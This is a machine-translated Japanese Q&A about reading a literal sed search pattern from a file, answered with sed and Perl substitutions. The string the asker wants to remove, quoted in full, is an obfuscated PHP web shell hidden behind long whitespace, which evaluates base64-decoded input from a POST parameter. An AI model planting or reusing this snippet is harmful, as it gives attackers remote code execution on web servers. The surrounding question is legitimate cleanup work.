ファイルからsedコマンドの針部分を読み取るには?

ファイルからsedコマンドの針部分を読み取るには?

ファイルの長い部分をsedに置き換えたいのですが、ファイルから長い部分を読みたいのですが。私はこれを見つけました:

sed -e '/<TEXT1>/{r File1' -e 'd}' File2

~からこここれは私が達成したいものと完全に反対です。次のように多くのことを試しましたが、すべて間違った結果を示します。

sed -e '/r needle.txt/replace' subject.txt

編集1

Needle.txtは正規表現ではなく、ASCII以外の多くの文字に置き換えたいテキストです。

編集2

私が作業している正確な文字列は次のとおりです。

<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n1509e9'];if(isset($s22)){eval($s21($s22));}?><?php

最後を大事にしたい<?php

ベストアンサー1

ファイルの内容を次に渡す前に、シェルにファイルの内容を拡張させることができますsed

sed -e "s/$(cat needle.txt)/replace/" subject.txt

二重引用符の使用に注意してください。

これにより、sed正規表現メタ文字がneedle.txt正規表現ではなく正規表現メタ文字として解釈されます。needle.txt含まれている場合/

needle.txt行を文字通り解釈するには、次のようにすることができます。

perl -pe '
    BEGIN{ local $/; 
           open $IN,"<","needle.txt";
           $needle = <$IN>
    }
    s/\Q$needle/replace/
'  subject.txt

説明する

  • これらの-peスイッチは、ファイルの各行に1行ずつコードを適用しsubject.txt、処理後に各行を印刷することを意味します。
  • このBEGIN{}セクションは一度だけ実行されます。それがすることは、needle.txtファイルを開き、その内容をすべて$needle変数に保存することです。
  • s/\Q$needle/replace/予想したものと同じ構文です。ただし、Perlの正規表現エンジンに正規表現ではなく固定文字列で続くすべての項目を処理させるという点だけがsed異なります。\Q

おすすめ記事